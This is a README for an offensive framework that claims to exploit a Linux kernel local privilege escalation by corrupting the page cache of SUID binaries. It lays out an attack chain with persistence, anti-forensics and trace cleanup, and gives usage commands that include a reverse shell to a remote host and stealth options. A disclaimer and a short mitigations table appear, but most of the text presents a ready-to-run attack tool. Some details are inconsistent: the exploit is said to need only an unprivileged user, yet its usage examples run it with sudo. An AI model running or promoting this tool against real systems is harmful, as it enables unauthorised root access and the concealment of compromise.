DirtyClone Exploit Framework

CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9

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║  CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY  ║
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⚠️ FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY Use this framework exclusively in isolated lab environments that you own or have explicit written authorization to test. Unauthorized use is illegal and unethical.

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📋 Table of Contents

• Vulnerability Overview
• Attack Chain
• Project Structure
• Requirements
• Build & Install
• Usage
• Python Modules
• Defensive Mitigations
• Timeline
• References

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🔬 Vulnerability Overview

CVE-2026-46331 is a local privilege escalation vulnerability in the Linux kernel (≤ 6.12.9) caused by a race condition between the TC (cls_act) pedit action and IPsec TEE-based packet duplication.

Root Cause

When a packet traverses the TC egress path with a pedit action that sets IHL = 15, the kernel's IPsec subsystem receives a malformed packet where the computed IP payload offset exceeds the actual packet boundaries. Under concurrent sendfile(2) operations, this mismatch allows an unprivileged user (inside a user namespace with CAP_NET_ADMIN) to corrupt read-only page cache entries of arbitrary files — including SUID binaries.

Impact

Property	Value
CVSS 3.1 Score	8.8 (HIGH)
Attack Vector	Local
Privileges Required	Low (unprivileged user)
Impact	Root shell (UID=0 EUID=0)
Affected versions	Linux kernel ≤ 6.12.9
Patched version	6.12.10
Patch commit	a3f4d1c8...

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🔗 Attack Chain

Unprivileged User (UID=1000)
         │
         ▼
[1] Reconnaissance
    ├─ Kernel version check
    ├─ userns availability
    └─ Target binary profiling
         │
         ▼
[2] Namespace Bypass
    ├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
    ├─ AppArmor profile hopping (fallback)
    └─ CAP_NET_ADMIN acquired
         │
         ▼
[3] Network Infrastructure
    ├─ clsact qdisc on lo
    ├─ pedit filter (IHL=15)
    └─ IPsec ESP + TEE
         │
         ▼
[4] Page Cache Corruption
    ├─ sendfile → pedit trigger
    ├─ Page cache entry corrupted
    └─ Shellcode written to read-only binary
         │
         ▼
[5] Privilege Escalation
    └─ execve(SUID binary) → root shell
         │
         ▼
[6-8] Post-Exploitation
    ├─ Persistence (6 mechanisms)
    ├─ Evasion / Anti-Forensics
    └─ Trace cleanup
         │
         ▼
    🎯 ROOT SHELL (UID=0 EUID=0)

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📁 Project Structure

dirtyclone-exploit/
├── Makefile                          # Build system
├── README.md                         # This file
├── LICENSE                           # MIT License
│
├── include/
│   ├── exploit.h                     # Core types, flags, prototypes
│   ├── packet_engine.h               # Packet crafting engine API
│   ├── memory_ops.h                  # Page cache corruption API
│   └── persistence.h                 # Persistence mechanism API
│
├── src/
│   ├── main.c                        # Framework entry point
│   ├── stage_env_analysis.c          # Phase 1: Reconnaissance
│   ├── stage_namespace_bypass.c      # Phase 2: userns bypass
│   ├── stage_network_setup.c         # Phase 3: TC/IPsec setup
│   ├── stage_page_cache_corrupt.c    # Phase 4: Core exploit
│   ├── stage_privilege_escalation.c  # Phase 5: LPE
│   ├── stage_persistence.c           # Phase 6: Persistence
│   ├── stage_evasion.c               # Phase 7: Anti-forensics
│   ├── stage_cleanup.c               # Phase 8: Trace removal
│   ├── memory_ops.c                  # Page cache primitives
│   ├── packet_engine.c               # Raw packet crafting
│   └── persistence.c                 # Persistence implementations
│
├── modules/
│   ├── packet_craft.py               # Python packet crafter (Scapy)
│   └── exploit_analyzer.py           # Pre-exploit analysis tool
│
├── scripts/
│   ├── setup_env.sh                  # Dependency install + build
│   ├── cleanup.sh                    # System cleanup
│   └── detect_targets.sh             # Vulnerable binary scanner
│
└── payloads/
    └── README.md                     # Payload directory info

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⚙️ Requirements

Compile-time

• gcc ≥ 10
• make
• libcap-dev / libcap-devel

Runtime (Linux target)

• Kernel ≤ 6.12.9
• iproute2 (tc, ip)
• iptables
• Unprivileged user namespaces enabled

Python modules (optional)

pip install scapy

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🔧 Build & Install

# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit

# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh

# Manual build
make all

# Debug build
make debug

# Clean
make clean

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🚀 Usage

# Show help
./bin/dirtyclone --help

# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test

# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone

# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist

# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup

# Detect vulnerable targets first
bash scripts/detect_targets.sh

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🐍 Python Modules

exploit_analyzer.py — Pre-Exploit Reconnaissance

# Analyze default target
python3 modules/exploit_analyzer.py

# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo

# JSON output for automation
python3 modules/exploit_analyzer.py --json

# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid

packet_craft.py — Raw Packet Trigger

# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234

# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20

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🛡️ Defensive Mitigations

Mitigation	Command / Action
Update kernel	Upgrade to ≥ 6.12.10 (primary fix)
Disable user namespaces	echo 0 > /proc/sys/kernel/unprivileged_userns_clone
AppArmor restrictions	Enable apparmor with userns restriction profile
Audit TC pedit	auditctl -a always,exit -F arch=b64 -S unshare
File integrity	Deploy AIDE or Tripwire on SUID binaries
Seccomp filters	Block unshare() in production containers

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📅 Timeline